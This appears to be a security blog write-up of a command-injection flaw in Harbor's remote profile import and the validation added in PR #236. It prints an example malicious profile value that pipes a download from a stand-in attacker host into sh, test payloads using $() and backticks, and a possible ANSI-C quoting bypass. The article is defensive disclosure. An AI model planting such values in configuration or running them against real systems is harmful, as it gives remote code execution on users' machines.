←Research
Researchvulnerability7 min read

Harbor PR #236 blocks CWE-78 in remote profile downloads

Harbor accepted remotely downloaded profile values that could later be expanded through eval, allowing command injection through a configuration import path. PR #236 adds validation before remote profiles are installed.

Harbor PR #236 blocks CWE-78 in remote profile downloads

Harbor's remote profile import path accepted configuration values that could later execute as shell commands. I fixed this in PR #236, which was applied on 9 May 2026 and adds validation for profiles downloaded through harbor profile set <url>.

The bug is CWE-78: improper neutralisation of special elements used in an OS command. The specific failure was not that Harbor deliberately ran remote profiles as scripts. It did not. The failure was more ordinary and more dangerous: untrusted .env content crossed from a remote URL into trusted local configuration, then later code paths re-expanded those values through shell evaluation.

The vulnerable data flow

The vulnerable path started in download_profile() in harbor.sh. Before the fix, a remote profile only had to look broadly like an environment file. Lines containing = or comments were accepted, the file was written under profiles/<name>.env and the profile could become active configuration.

That is a problem because profile values are not inert text everywhere else in Harbor. The PR discussion identified several later consumer sites around lines 247, 1003, 1088 and 2659 to 2662 where values returned by env_manager get are expanded through shell substitution or eval patterns. One representative shape is:

eval echo "$(env_manager get cli.path)"

Once a value reaches that kind of sink, shell metacharacters inside the profile are no longer just configuration. A remote profile containing this assignment is enough to describe the issue:

HARBOR_CLI_PATH=$(curl -s http://attacker/x | sh)

The import command stores the bytes. A later Harbor invocation asks for the value. The shell sees $() and runs the command in the user's context.

The only required precondition is that the user runs a documented profile import command against an attacker-controlled URL. That matters. Users treat harbor profile set <url> as importing configuration, not executing a remote installer. The security boundary is crossed at download time, even though execution happens later.

Why this was exploitable

The exploitability came from three properties aligning.

First, the input was network-controlled. There was no host allowlist or scheme restriction in the remote profile path. If a user imported a profile from a URL, the remote server controlled the profile contents.

Second, the file was installed as configuration before value-level validation. A line such as HARBOR_CLI_PATH=$(id) has a valid KEY=VALUE shape. Shape validation is not command safety.

Third, downstream code reinterpreted profile values through the shell. In shell scripts, eval is a second parser. Data that survived the first parse can become code in the second one. That is the old lesson behind CWE-78, but configuration files make it easy to forget because they look passive.

Backticks had the same problem as $(). A profile value using `id` would also execute when passed through shell evaluation. Double quotes do not save this pattern. FOO="prefix $(id) suffix" still carries command substitution that can fire during a later evaluation step.

What PR #236 changes

The fix adds validate_profile_content() immediately after resolve_raw_url() in harbor.sh, starting at the new line 2461 block in the diff. download_profile() now calls it after a successful download and before reporting the profile as installed. If validation fails, Harbor removes the downloaded file and aborts the install.

The validator is deliberately narrow and early. It reads the downloaded file line by line, skips blank lines and comments, strips an optional leading export and then enforces a plain KEY=VALUE assignment. Keys must match:

^[A-Za-z_][A-Za-z0-9_]*$

That rejects keys such as 1FOO=bar and FOO BAR=baz, which should not be accepted as environment identifiers. The more important check is on the value. Any value containing $( or a backtick is rejected:

if [[ "$value" == *'$('* ]] || [[ "$value" == *'`'* ]]; then
    log_error "Profile validation failed at line $lineno: value for \"$key\" contains command substitution"
    return 1
fi

download_profile() then emits an explicit warning for successful remote imports:

log_warn "Loaded profile from a remote URL ($url)."
log_warn "Remote profiles can change Harbor configuration; review with: cat \"$profile_file\""

That warning is not the fix. The validation is the fix. The warning is useful because this is still a trust decision: a remote profile can change how Harbor behaves even when it cannot embed command substitution.

Locally authored profiles are unaffected. The gate is applied only to the remote-download path, where the input comes from outside the machine and outside the user's direct editor.

What the tests covered

The validation was checked against the obvious payloads: FOO=$(id), a backtick-wrapped command and quoted content such as FOO="prefix $(id) suffix". Each is rejected and the temporary downloaded file is removed.

The non-exploit cases still work. Comments, blank lines and export KEY=value continue to parse. A clean default.env-style profile passes unchanged. bash -n harbor.sh parses cleanly and the existing harbor profile set behaviours for filename derivation, success messages and return codes are preserved when the content is safe.

The fix also rejects malformed keys. That is not the main RCE vector, but it closes a useful ambiguity: once a profile is treated as shell-adjacent data, accepting keys that the shell would not treat as plain identifiers is unnecessary risk.

Known limits

The patch intentionally allows plain parameter expansion such as ${VAR}. That can read values from the process environment during later expansion, but it is not the same as command execution. Blocking every form of shell expansion would be stricter, but it would also be more likely to break legitimate profile values.

There is also a narrower edge case around ANSI-C quoting such as $'\x24(', which could theoretically reconstruct $( after a later shell parse depending on the exact consumer shape. A stricter follow-up could reject $' in remote profile values as well. The merged fix closes the realistic exploit path without turning the profile format into a new shell parser implemented in regular expressions.

That tradeoff is acceptable for this patch because the dangerous primitives observed in the reachable sinks were command substitution through $() and backticks. Security fixes should be honest about what they block. This one blocks the dominant route from remote configuration to command execution and leaves room for a stricter policy if Harbor wants remote profiles to be treated as a constrained data format rather than shell-compatible .env text.

The AI tooling pattern

Harbor sits in the same uncomfortable category as many AI and developer workflow tools: local tooling that increasingly trusts remote metadata. Profiles, MCP tools, model registries, agent skills and environment files all look like configuration until some later component interprets them as behaviour.

That pattern has shown up repeatedly. In PraisonAI's environment handling, a YAML schedule config could set dangerous process environment variables because parsed configuration was treated as safe to apply. In gptme's Docker key exposure, secrets moved through a developer convenience path that exposed them at the process boundary. In the broader MCP attack surface analysis, the recurring issue was the same: agent-adjacent tools accept structured input from somewhere else, then bridge it into local capabilities.

Invariant Labs' work on MCP tool poisoning and Pillar Security's MCP threat model describe the higher-level version of this problem. An agent or developer tool does not need to expose a traditional web endpoint to become remotely influenced. It only needs to import something remote and later act on it with local authority.

The Harbor issue is small in code size and large in lesson. A profile file is not harmless because it ends in .env. Once values are fed back through eval, the profile is part of the command construction path. Remote configuration needs validation at the point it crosses the boundary, not after it has already become trusted state.

Newsletter

One email a week. Security research, engineering deep-dives and AI security insights - written for practitioners. No noise.